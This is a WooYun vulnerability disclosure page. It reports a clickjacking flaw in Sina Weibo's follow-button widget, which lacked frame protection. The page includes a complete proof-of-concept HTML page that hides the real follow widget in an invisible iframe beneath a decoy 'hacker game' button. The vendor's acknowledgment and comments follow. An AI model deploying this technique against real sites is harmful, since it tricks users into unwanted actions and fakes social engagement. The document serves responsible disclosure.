当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0168789

漏洞标题：新浪微博ClickhiJacking刷关注

相关厂商：新浪

漏洞作者： 拿破轮胎

提交时间：2016-01-11 11:35

修复时间：2016-02-22 16:48

公开时间：2016-02-22 16:48

漏洞类型：设计缺陷/逻辑错误

危害等级：低

自评Rank：2

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-11： 细节已通知厂商并且等待厂商处理中
2016-01-11： 厂商已经确认，细节仅向厂商公开
2016-01-21： 细节向核心白帽子及相关领域专家公开
2016-01-31： 细节向普通白帽子公开
2016-02-10： 细节向实习白帽子公开
2016-02-22： 细节向公众公开

简要描述：

新浪微博ClickhiJacking刷关注

详细说明：

微博主站和手机站均检测了是否被iframe 不过 关注按钮 却没有检测
你看着是这样的

1.png


实际上他是这样的

QQ截图20160110001247.png


点击之后是这样的

QQ截图20160110001304.png


漏洞证明：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>黑客通关游戏</title>
    <style>
    body{
        background: black;
    }
    div{
        position: relative;
        width: 500px;
        margin: 0 auto;
        text-align: center;
        color: red;
        font-size: 35px;
    }
    iframe {
    
            position: absolute;
            bottom: -128px;
            right: -11px;
            z-index: 2;
            -moz-opacity: 10;
            opacity: 0;
            filter: alpha(opacity=0);
			-moz-opacity:0;  
			-khtml-opacity: 0;  
			opacity: 0;  
        }
       
    </style>
</head>
<body>
    <div>
        <p>黑客通关游戏</p>
        <form action="#" method="post">
        
        <input type="password" style="width:350px;">
         <p>
            <button>确定</button>
           
		     
         </p>
         <iframe src="http://widget.weibo.com/relationship/followbutton.php?uid=5219676837" scrolling="no"></iframe>
         </form>
    </div>
       
</body>
</html>

修复方案：

版权声明：转载请注明来源 拿破轮胎@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：2

确认时间：2016-01-11 12:21

厂商回复：

感谢关注新浪安全，漏洞修复中

最新状态：

暂无

漏洞评价：

评价

  1. 2016-01-11 22:28 | 隐士 ( 路人 | Rank:6 漏洞数:2 | 最危险的是人心。小白一个QQ1248784363欢迎...)

    破哥

  2. 2016-01-13 10:09 | 表哥 ( 实习白帽子 | Rank:42 漏洞数:11 | 他依然帅气。)

    破轮胎